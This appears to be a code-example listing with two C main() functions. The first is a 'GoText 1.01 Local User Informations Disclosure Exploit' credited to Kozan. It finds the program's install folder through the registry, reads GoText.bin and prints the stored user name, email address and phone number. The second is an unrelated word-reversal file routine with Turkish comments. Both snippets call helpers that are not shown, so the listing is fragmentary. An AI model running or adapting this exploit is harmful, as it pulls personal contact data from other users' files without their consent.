예제 #1
0
int main()
{
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",0,KEY_QUERY_VALUE,&hKey)
== ERROR_SUCCESS)
	{

		lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);

		if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
		{
			RegCloseKey(hKey);
			printf("An error occured!\n");
			exit(1);
		}

		RegCloseKey(hKey);

	}
	else
	{
		RegCloseKey(hKey);
		printf("An error occured!\n");
		exit(1);
	}

	strcat(prgfiles,"\\GoText\\GoText.bin");

	printf("GoText 1.01 Local User Informations Disclosure Exploit by Kozan\n");
	printf("Credits to ATmaCA\n");
	printf("www.netmagister.com - www.spyinstructors.com \n");
	printf("[email protected] \n\n");

	char UserName[BUFSIZE], MailAddress[BUFSIZE], PhoneNumber[BUFSIZE];

	strcpy(UserName,oku(prgfiles,"MyName="));
	strcpy(MailAddress,oku(prgfiles,"MyEmail="));
	strcpy(PhoneNumber,oku(prgfiles,"MyNumber="));

	printf("User Name    : %s\n",UserName);
	printf("Mail Address : %s\n",MailAddress);
	printf("Phone Number : %s\n",PhoneNumber);

	return 0;
}
예제 #2
0
int main() {

	FILE *rp = oku(FINAME);

	int i;
	char *s;
	char *words[MAXLINE];

	s = malloc(MAXLINE); // bellek al
	for (i = 0; fscanf(rp, "%s", s) != EOF; i++) {
		reverse(s);
		words[i] = cut(s, 3); // s'in ilk 3 hanesini kes donder .
	}
	free(s); // free'le .
	words[i] = NULL; // words'i kapa .

	FILE *wp = yaz(FONAME);

	for (i = 0; words[i] != NULL; i++) {
		fprintf(wp, "%s", words[i]);
		free(words[i]); // free'le
	}
	exit(EXIT_SUCCESS);
}